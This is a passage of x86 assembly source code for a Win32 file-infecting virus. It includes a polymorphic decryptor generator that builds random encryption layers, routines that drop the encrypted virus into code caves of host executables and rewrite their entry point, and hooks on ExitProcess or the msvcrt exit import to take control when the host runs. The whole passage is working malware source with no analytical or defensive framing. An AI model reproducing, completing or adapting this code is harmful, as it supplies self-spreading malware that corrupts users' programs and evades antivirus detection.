mov dword ptr [ebp+PolyTable],eax
add eax,40
mov dword ptr [ebp+PolyTablePoint],eax ; set everything
lea ebx,[eax+256]
mov dword ptr [ebp+PolyOffset],ebx
push esi
push edi
mov edi,ebx
lea esi,[ebp+start]
mov ecx,((((fin-start)/4)+1)*4)
repz movsb ; copy virus to memory
pop edi
pop esi
lea ebx,[eax+256+((((Fin-Start)/4)+1)*4)]
mov dword ptr [ebp+PolyPointer],ebx
mov edx,dword ptr [ebp+PEBase]
mov ecx,dword ptr [edx+8] ; get time/date stamp
push ecx
and ecx,01111b ; as variable value
add ecx,5
pop eax
push ecx
ror eax,8
push eax
and eax,111b
call getvalidregister ; get register
mov byte ptr [ebp+ActionRegister],al
pop eax
ror eax,4
and eax,111b
call getvalidregister ; get second register
mov byte ptr [ebp+LoopValue],al
pop ecx
latinlingo:
call AddInstruction0 ; make crypt instructions
loop latinlingo
push esi
push edi
mov edi,dword ptr [ebp+PolyTablePoint]
mov esi,dword ptr [ebp+PolyTable]
add esi,40
sub edi,8
thendontfool: ; reversive functions
mov eax,dword ptr [esi]
mov ebx,dword ptr [esi+4]
mov ecx,dword ptr [edi] ; equal size/offset
mov edx,dword ptr [edi+4]
mov dword ptr [esi],ecx
mov dword ptr [esi+4],edx
mov dword ptr [edi],eax
mov dword ptr [edi+4],ebx
sub edi,8
add esi,8
cmp esi,edi
jb thendontfool ; invert the decryptor
pop edi
pop esi
mov edx,dword ptr [ebp+PolyTable]
mov ecx,dword ptr [ebp+PolyPointer]
mov ebx,ecx
mov dword ptr [ecx],60h ; add pushad to decryp
inc ecx
call ActualisePointer
mov byte ptr [ecx],0B8h ; add mov ...,polyoff
mov al,byte ptr [ebp+LoopValue] ; to decrypt
add byte ptr [ecx],al
mov eax,dword ptr [ebp+DropAddress]
add eax,dword ptr [ebp+ImageBase]
mov dword ptr [ecx+1],eax
add ecx,5
call ActualisePointer
mov ax,008Bh ; add mov ..,[...]
mov ah,byte ptr [ebp+ActionRegister] ; to decrypt
shl ah,3
add ah,byte ptr [ebp+LoopValue]
mov word ptr [ecx],ax
add ecx,2
call ActualisePointer
push ecx
mov ecx,dword ptr [ebp+PolyTable] ; drop
add ecx,40 ; decrypt math
; functions
ambiancee:
mov eax,dword ptr [ecx]
mov ebx,dword ptr [ecx+4]
cmp eax,0
je thenfinish88
mov dword ptr [edx],eax ; now do the loop
mov dword ptr [edx+4],ebx
add ecx,8
add edx,8
jmp ambiancee ; ambiancee...
thenfinish88:
pop ecx
; - - - - -
mov ax,0089h ; mov [...],...
mov ah,byte ptr [ebp+ActionRegister]
shl ah,3
add ah,byte ptr [ebp+LoopValue] ; are you really
mov word ptr [ecx],ax ; reading that ?
add ecx,2
call ActualisePointer
mov ax,0C083h ; add ...,...
add ah,byte ptr [ebp+LoopValue]
mov word ptr [ecx],ax
add ecx,2
mov byte ptr [ecx],04
inc ecx
call ActualisePointer ; add cmp,...
;
mov ax,0f881h ;
add ah,byte ptr [ebp+LoopValue]
mov word ptr [ecx],ax
mov eax,dword ptr [ebp+DropAddress]
add eax,dword ptr [ebp+ImageBase]
add eax,((((fin-start)/4)+1)*4)
mov dword ptr [ecx+2],eax
add ecx,6
call ActualisePointer
mov word ptr [ecx],0850Fh ; add jnz ...
add ecx,6 ; with relocs
call ActualisePointer
mov byte ptr [ecx],61h
mov byte ptr [ecx+1],068h
mov eax,dword ptr [ebp+DropAddress] ; now drop
add eax,dword ptr [ebp+ImageBase] ; return to virus
mov dword ptr [ecx+2],eax
mov byte ptr [ecx+6],0C3h
add ecx,7
call ActualisePointer
push esi
push edi
xor ebx,ebx
mov edx,dword ptr [ebp+PolyTable] ; now drop the
mov edi,dword ptr [ebp+DropOffset] ; virus into host body
add edi,esi
mov esi,dword ptr [ebp+PolyOffset]
mov ecx,((((fin-start)/4)+1)*4)
repz movsb
push esi
mov esi,dword ptr [ebp+MapHandle2]
mov eax,edi
call Offset2Address
mov dword ptr [ebp+NEWEntryPoint],eax
mov dword ptr [ebp+FirstEntryPoint],eax
pop esi ; set poly entrypoint
mov dword ptr [ebp+lastreloc],0
call droptocaves ; 1st drop to cave
thegothere:
cmp bl,byte ptr [ebp+WantedReloc] ; now we can drop
jne thennoreloc
mov dword ptr [ebp+Reloc1],edi
thennoreloc:
mov esi,dword ptr [edx] ; the poly after
cmp esi,0
je thenitsfinish
cmp word ptr [esi],850Fh ; look for jnz
je ApplyReloc ; if so reloc it
relocdoitnow:
mov ecx,dword ptr [edx+04]
repz movsb
add edx,8 ; drop it after virus
inc ebx
jmp thegothere
thenitsfinish:
pop edi
pop esi
ret
droptocaves:
cmp byte ptr [ebp+cavedanger],1 ; look if .code
je thennocave ; writable
cmp byte ptr [ebp+cavenumber],0 ; look if there no cave
je thennocave ; if ONE then
; it's okay, coz we
mov dword ptr [ebp+originalreloc],edi ; can hide our
push edi ; poly entrypoint
xor ebx,ebx
detectcave0:
mov esi,dword ptr [edx]
cmp esi,0
je thenfinish
mov ecx,dword ptr [edx+4] ; get cave and check
call detectcave ; size
jc thenfinish
mov eax,dword ptr [ebp+FirstEntryPoint]
cmp dword ptr [ebp+NEWEntryPoint],eax ; if 1st cave then set
jne thendontchangeentrypoint ; entrypoint
push esi
mov eax,edi
mov esi,dword ptr [ebp+MapHandle2] ; get cave and fix
call Offset2Address ; to memory offset
mov dword ptr [ebp+NEWEntryPoint],eax
pop esi
thendontchangeentrypoint:
cmp bl,byte ptr [ebp+WantedReloc]
jne thennorelocbis
mov dword ptr [ebp+Reloc1],edi
thennorelocbis:
cmp word ptr [esi],850Fh ; check for jnz
je ApplyRelocBis ; then apply large
; relocs over caves
relocdoitnowbis:
repz movsb
mov byte ptr [edi],0E9h ; apply calls...
add edx,8
inc ebx
jmp detectcave0
thenfinish:
pop edi
thennocave:
ret
detectcave:
push edx ecx ebx
mov ebx,dword ptr [ebp+caveoffset] ; get caves
xor eax,eax
mov al,byte ptr [ebp+cavenumber]
push edx
push ecx
push eax
mov ecx,12
mul ecx
pop ecx
sub ebx,eax ; calculations
sub ebx,12
pop edx
add edx,5
thengetnextcave:
add ebx,12
mov eax,dword ptr [ebx]
cmp eax,edx
jae thenwefoundone
loop thengetnextcave ;
pop edx
cmp dword ptr [ebp+lastreloc],0
je thenitsfinishfordebon ; if reloc off then finish
push ebx
mov eax,dword ptr [ebp+DropAddress]
add eax,((((fin-start)/4)+1)*4)
sub eax,dword ptr [ebp+lastreloc] ; set last reloc for further
sub eax,4 ; jnz
mov ebx,dword ptr [ebp+lastrelocOffset]
mov dword ptr [ebx],eax
pop ebx
thenitsfinishfordebon:
inc eax
inc eax
sub eax,-1
pop ebx ecx edx
ret ; return to carry to main drop cave functions
; then finish cave droping
originalreloc: dd 0
thenwefoundone:
pop edx
mov dword ptr [ebx],0 ; if found one
cmp dword ptr [ebp+lastreloc],0 ; if 1st instruction?
je thendontneedfixup
mov eax,dword ptr [ebx+4+4]
sub eax,dword ptr [ebp+lastreloc] ; set jump to here
sub eax,4 ; from last instruction
push ebx
mov ebx,dword ptr [ebp+lastrelocOffset]
mov dword ptr [ebx],eax
pop ebx
thendontneedfixup: ; no fixup need
mov ecx,dword ptr [edx+4]
add ecx,dword ptr [ebx+4]
inc ecx
mov dword ptr [ebp+lastrelocOffset],ecx ; save this offset
sub ecx,dword ptr [ebx+4]
add ecx,dword ptr [ebx+8] ; for next fixup
mov dword ptr [ebp+lastreloc],ecx
mov edi,dword ptr [ebx+4]
xor ebx,ebx
pop ebx ecx edx
ret
lastreloc: dd 0
lastrelocOffset: dd 0
NEWEntryPoint: dd 0
Reloc1: dd 0
WantedReloc: db 2
ApplyReloc:
call ApplyReloc0 ; this for jnz
jmp relocdoitnow
ApplyRelocBis:
call ApplyReloc0 ; this for jnz in cave
jmp relocdoitnowbis
ApplyReloc0:
push eax edi
push esi
mov esi,dword ptr [ebp+MapHandle2] ; recalculate offsets
;
mov eax,dword ptr [ebp+Reloc1]
call Offset2Address
push eax ; eax is save
mov eax,edi
call Offset2Address
mov edi,eax
pop eax
sub eax,edi
sub eax,6 ; build delta for jumps
pop esi
mov dword ptr [esi+2],eax ; set it where we need it
pop edi eax
ret
ActualisePointer:
push ebx
push ecx
mov ebx,dword ptr [ebp+PolyPointer] ;set pointer of
mov dword ptr [edx],ebx ;of current instruction
sub ecx,ebx
add dword ptr [ebp+PolyPointer],ecx ; that can be different
mov dword ptr [edx+4],ecx ; of instruction order
add edx,8
pop ecx
pop ebx
ret
AddInstruction0:
push edx
push ecx
mov edx,dword ptr [ebp+PEBase]
mov edx,dword ptr [edx+8]
mov ebx,-1
firstloop:
mov bl,dh ; get randoms value
rol ebx,4
xor edx,'RATS'
sub edx,'OREZ' ; using pseudo table
cmp edx,00FFFFFFh ; ;] vecna
ja thendontnoise
ror edx,16
add edx,24051981
thendontnoise:
dec edx
xor ebx,edx
loop firstloop
mov edx,ebx ; edx = random value
not edx ; for sub xor ror add
mov dword ptr [ebp+UnknownVal],edx
and edx,111b ; seting random from
mov eax,edx ; 1/8
mov ecx,4
mul ecx
add eax,dword ptr [ebp+TableOffset]
add eax,ebp
push esi
push edi
mov eax,dword ptr [eax]
add eax,ebp
mov ebx,dword ptr [ebp+PolyTablePoint] ; get what instruction
mov esi,dword ptr [ebp+PolyPointer]
mov dword ptr [ebx],esi ; to do
push esi
push ebx
call eax ; call it from the
; tale
pop ebx
mov eax,esi
pop ecx
sub eax,ecx
mov dword ptr [ebx+4],eax
add ebx,8
mov dword ptr [ebp+PolyTablePoint],ebx ; psuedo actualisation
mov dword ptr [ebp+PolyPointer],esi ; of pointers
pop edi
pop esi
pop ecx
pop edx
ret
getvalidregister:
cmp al,111b
jna thentestnext ; test if > edi
mov al,0
thentestnext:
cmp al,100b
jne thentestnext2 ; test if esp
inc al
jmp getvalidregister
thentestnext2:
cmp al,byte ptr [ebp+ActionRegister]
jne thentestnext3
inc al
jmp getvalidregister ; test if action register
thentestnext3:
cmp al,byte ptr [ebp+LoopValue] ; test if loop register
jne thentestnext4
inc al
jmp getvalidregister
thentestnext4:
cmp byte ptr [ebp+ActionRegister],-1
je thenfinishtest
cmp al,101b ; cmp if loop register = ebp
jne thenfinishtest ; don't do so coz crashing
inc al
jmp getvalidregister
thenfinishtest:
ret
TableOffset:
dd Offset Table0
Table0: dd Offset AddInstruction
dd Offset SubInstruction
dd Offset XorInstruction
dd Offset INCInstruction
dd Offset DECInstruction
dd Offset NEGInstruction
dd Offset NOTInstruction
dd Offset ROLInstruction
ROLInstruction:
mov ax,0C1C8h
add al,byte ptr [ebp+ActionRegister]
mov edx,dword ptr [ebp+UnknownVal]
xor edx,'FLOR' ; make ROL
xchg al,ah
mov word ptr [esi],ax
and dh,00111111b
inc dh
mov byte ptr [esi+2],dh
add esi,3
lea eax,[ebp+Roritloop]
call applycript
ret
Roritloop: push ecx
mov cl,dh
rol dword ptr [edi],cl
pop ecx
ret
NOTInstruction:
mov ax,0F7D0h
call dothat79
lea eax,[ebp+NOTitloop] ; make not instruction
call applycript
ret
NOTitloop: not dword ptr [edi]
ret
NEGInstruction:
mov ax,0F7D8h
call dothat79
lea eax,[ebp+NEGitloop] ; add negs
call applycript
ret
dothat79:
add al,byte ptr [ebp+ActionRegister]
xchg al,ah
mov word ptr [esi],ax
inc esi ;add not/neg
inc esi
ret
NEGitloop: neg dword ptr [edi]
ret
DECInstruction: ; apply dec/inc
lea ebx,dword ptr [ebp+Decitloop]
mov al,48h
call dothat78
ret
Decitloop: inc dword ptr [edi]
ret
INCInstruction:
mov al,40h
lea ebx,[ebp+Incitloop]
dothat78: ; common for dec/inc
add al,byte ptr [ebp+ActionRegister]
mov byte ptr [esi],al
inc esi
mov eax,ebx
call applycript
ret
Incitloop: dec dword ptr [edi]
ret
XorInstruction: ; common for xor/add/sub
mov ax,081F0h
lea ebx,[ebp+Xoritloop]
jmp dothat77
Xoritloop: xor dword ptr [edi],edx ; reverse of xor
ret
SubInstruction:
mov ax,081E8h
lea ebx,[ebp+Subitloop]
jmp dothat77
Subitloop: add dword ptr [edi],edx ; reverse of sub
ret
AddInstruction:
mov ax,081C0h
lea ebx,[ebp+Additloop]
dothat77:
add al,byte ptr [ebp+ActionRegister]
mov edx,dword ptr [ebp+UnknownVal]
xor edx,'AXLB' ; a kiss to Axelle Bailey
xchg al,ah
mov word ptr [esi],ax
mov dword ptr [esi+2],edx
add esi,6
mov eax,ebx
call applycript ; rverse of add
ret
Additloop:
sub dword ptr [edi],edx
ret
applycript:
push ecx ; apply eax to all the virus
push edi
push esi
mov edi,dword ptr [ebp+PolyOffset]
mov ecx,((((fin-start)/4)+1)*4)
thentooti:
call eax
sub ecx,4
add edi,4
cmp ecx,0
jne thentooti
pop esi
pop edi
pop ecx
ret
; variables
FirstEntryPoint: dd 0
Registers:
ActionRegister: db 0
LoopValue: db 0
UnknownVal: dd 0
PolyOffset: dd 0
PolyPointer: dd 0
PolyTable: dd 0
PolyTablePoint: dd 0
; 1st look for ExitProcess -> The classic way to quit a program
; 2 look for MSCVRT -> The win98 way to quit a program
; 3 look for obscure entrypoint
thahook:
mov dword ptr [ebp+comethatname],'NREK'
mov dword ptr [ebp+comeApi1],'tixE'
mov dword ptr [ebp+comeApi2],'corP'
mov dword ptr [ebp+comeReturnWay],offset ExitProcRet
mov dword ptr [ebp+comeReturnAPI],offset ExitProcRetData
call hookapis ; Hook apis
jnc thenwehadit
mov dword ptr [ebp+comethatname],'CVSM'
mov dword ptr [ebp+comeApi1],'tixe'
mov dword ptr [ebp+comeApi2],0
mov dword ptr [ebp+comeReturnWay],offset ExitProcRet
mov dword ptr [ebp+comeReturnAPI],offset ExitProcRetData
call hookapis ; Hook apis
jnc thenwehadit
obscureentry: ; if no api hooked then:
mov edx,dword ptr [ebp+PEBase]
mov eax,dword ptr [edx+40]
call Address2Offset
mov edx,eax
mov ecx,500 ; hook call near entrypoint
findthoseit:
cmp byte ptr [edx],0E8h ; call opcode
je hookentry
cmp byte ptr [edx],0E9h ; jump opcade
je hookentry
looknext:
inc edx
loop findthoseit ; look for it
jmp thenofound
thenwehadit:
xor eax,eax
ret
hookentry:
cmp byte ptr [edx+4],0
jne looknext
mov al,byte ptr [edx-1] ;check for have sub functions , appears
and al,11000000b ;sometime (ie:tasm\bin\jitime.exe)
cmp al,10000000b
je looknext
mov eax,edx
call Offset2Address ; convert where we found it
add eax,dword ptr [edx+01]
add eax,5
add eax,dword ptr [ebp+ImageBase] ; then save it over there
mov dword ptr [ebp+ReturnData],eax
mov dword ptr [ebp+ReturnWay],offset retione
inc edx
mov dword ptr [ebp+Fixupentry],edx ; set where the entrypoint
; will have to get fixed up
xor eax,eax
ret
ExitProcRet: ; return procedure
mov eax,dword ptr [ebp+ReturnData]
mov eax,dword ptr [eax]
mov dword ptr [ebp+ReturnData],eax ; refix all
retione:
popad ; refix regs
db 68h
ExitProcRetData:
ReturnData:
dd Offset payload0
ret ; fake jump...
hookapis:
mov edx,dword ptr [ebp+PEBase]
mov eax,dword ptr [edx+128] ; look for import address
call Address2Offset ; get offset
mov ecx,eax
sub ecx,20
thenaddnext:
add ecx,20
cmp dword ptr [ecx],0
je thenfinishscan ; look for the correct name
mov eax,dword ptr [ecx+12]
call Address2Offset
push ebx
mov ebx,dword ptr [ebp+comethatname]
cmp dword ptr [eax],ebx ; does we have it ?
pop ebx
jne thenaddnext
mov eax,dword ptr [ecx] ;then get the rva of the import
call Address2Offset ; name lookup
mov ebx,eax
sub ebx,4
xor edx,edx
dec edx
datact:
inc edx
add ebx,4
mov eax,dword ptr [ebx] ;check if we have last one
cmp eax,0
je thenfinishscan
call Address2Offset ; get it
cmp eax,esi
jb thenfinishscan ; for fixing an unknown bug...
push ebx
mov ebx,dword ptr [ebp+comeApi1] ; look if name is correct
cmp ebx,0
je passbythat
cmp dword ptr [eax+2],ebx
pop ebx
jne datact
push ebx
mov ebx,dword ptr [ebp+comeApi2] ; look if name after is correct
cmp ebx,0
jne passbythat
cmp byte ptr [eax+6],0 ; if the name = 0 then
jmp passbythat0 ; don't scan ofcourse
passbythat:
cmp dword ptr [eax+6],ebx
passbythat0:
pop ebx
jne datact
thatoskay:
mov eax,edx
mov edx,04
mul edx
add eax,dword ptr [ecx+16] ; now we get the api loc
detectandhookexitpoint:
mov byte ptr [ebp+numberoffound],0 ; just for internal purpose
; but not used anyway
mov edx,dword ptr [ebp+PEBase]
add eax,dword ptr [edx+52]
mov edx,dword ptr [ebp+SectionOffset] ; get the 1st section
mov ecx,dword ptr [edx+16]
mov edx,dword ptr [edx+20]
add edx,esi
findthem:
cmp word ptr [edx],015FFh ; look for call dword [x]
je testcalltoit
cmp word ptr [edx],025ffh ; look for jump dword [x]
je testfindjmptoit
findthemreturn:
inc edx
loop findthem ; if nothing
cmp byte ptr [ebp+numberoffound],0 ; if zero found then don't
je thenofound ; return with carry
findthemfinish:
xor eax,eax
ret
thenfinishscan:
thenofound:
inc eax
inc eax
add eax,-1
ret
numberoffound: db 0
testcalltoit: ;
cmp dword ptr [edx+2],eax ; save where it call
jne findthemreturn
push edx
mov edx,dword ptr [ebp+comeReturnAPI] ; save API location
add edx,ebp ; for return to host
mov dword ptr [edx],eax
pop edx
mov eax,dword ptr [ebp+comeReturnWay] ; save [x] location to return
mov dword ptr [ebp+ReturnWay],eax ; over there
thendontsaveAPIOffset:
push edi
push edx
inc edx
mov edi,edx
mov dword ptr [ebp+Fixupentry],edi ; fixing virus entrypoint
mov byte ptr [edi-1],0E9h
pop edx
pop edi
inc byte ptr [ebp+numberoffound]
jmp findthemfinish ; we finished okay carry...
testfindjmptoit:
cmp dword ptr [edx+2],eax
jne findthemreturn
push edx
mov edx,dword ptr [ebp+comeReturnAPI] ; we will look for call
add edx,ebp
mov dword ptr [edx],eax ; to that jump
mov eax,dword ptr [ebp+comeReturnWay]
mov dword ptr [ebp+ReturnWay],eax
pop edx
mov eax,edx
call Offset2Address
mov dword ptr [ebp+APItarget],eax
mov edx,dword ptr [ebp+SectionOffset]
mov ecx,dword ptr [edx+16]
mov edx,dword ptr [edx+20] ; redo the scannning
add edx,esi
thenloopvone:
cmp byte ptr [edx],0E8h
jne thenloopskill
mov eax,edx
call Offset2Address
add eax,dword ptr [edx+1]
add eax,5 ;
cmp eax,dword ptr [ebp+APItarget] ; if APItagert = where it point
je patchit
thenloopskill: ; then we found the good call
inc edx
loop thenloopvone
jmp thenfinishscan ; finish scanning...
patchit:
push edi
push edx
inc edx
mov edi,edx
mov dword ptr [ebp+Fixupentry],edi ; fix this call as the
mov byte ptr [edi-1],0E9h ; virusentrypoint
pop edx
pop edi
inc byte ptr [ebp+numberoffound]
jmp findthemfinish ; return with carry
APItarget: dd 0
Fixupentry: dd 0
ReturnWay: dd Offset retione
comethatname: dd 0
comeApi1: dd 0
comeApi2: dd 0
comeReturnWay: dd 0
comeReturnAPI: db 0
MapHandle1: dd 0
MapHandle2: dd 0
FindFirstFileF: ; prebuilded FindFirst
lea eax,[ebp+File_Data]
push eax
push edx
call dword ptr [ebp+FindFirstFile]
mov dword ptr [ebp+Handle],eax
ret
FindNextFileF: ; Prebuilded FindNExt
lea eax,[ebp+File_Data]
push eax
push dword ptr [ebp+Handle]
Call dword ptr [ebp+FindNextFile]
ret
Open_file: ; Prebuilded Openfile
push edx
lea eax,[ebp+(offset File_Data+02ch)]
call Open_File_F
pop edx
ret
Open_File_F: ; and open file F
push large 0
push large 080h
push large 3
push large 0
push large 1
push 80000000h or 40000000h
push eax
Call dword ptr [ebp+CreateFile]
mov dword ptr [ebp+CurrentHandle],eax
inc eax
ret
Close_file: ; close file
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+Close]
ret
Write_file: ; write file
mov eax,offset Write
jmp Action_file
Read_file:
mov eax,offset Read ; read file
Action_file:
push 0
lea ebx,[ebp+Iobytes]
push ebx
push ecx
push edx
push dword ptr [ebp+CurrentHandle]
Call dword ptr [ebp+eax] ; look apis references
ret
Seek_file: ; seek over it
push large 0
push large 0
push edx
push dword ptr [ebp+CurrentHandle]
Call dword ptr [ebp+SeekFile]
ret
startlist: ; needed apis
; quite a lot eh :)
FindFirstFile:
dd 0
FindNextFile:
dd 0
CreateFile:
dd 0
Close:
dd 0
Write:
dd 0
Read:
dd 0
SeekFile:
dd 0
SetFileTime:
dd 0
GetFileSize:
dd 0
CreateFileMap:
dd 0
ViewMap:
dd 0
UnMap:
dd 0
LocalAlloc:
dd 0
GlobalFree:
dd 0
LoadLibraryA:
dd 0
FindClose:
dd 0
FreeLibrary:
dd 0
GetSystemTime:
dd 0
CreateThread:
dd 0
GetWindowsDirectoryA:
dd 0
GetCurrentDirectoryA:
dd 0
SetCurrentDirectoryA:
dd 0
GetModuleHandle:
dd 0
ExitProc:
dd 0
advapilist:
RegOpenKeyA:
dd 0
RegQueryValueExA:
dd 0
RegCloseKey:
dd 0
userapilist:
MessageBoxA: dd 0
pseudofin:
Handle: dd 0
CurrentHandle: dd 0
Iobytes: dd 0
File_Data: db 2ch+13+5 dup (?) ; just for prebuilded
;ReadyForHost: db 0F8h dup (?)
;TableHost: db 4096/2 dup (?)
Fin:
fin:
ends
end HOST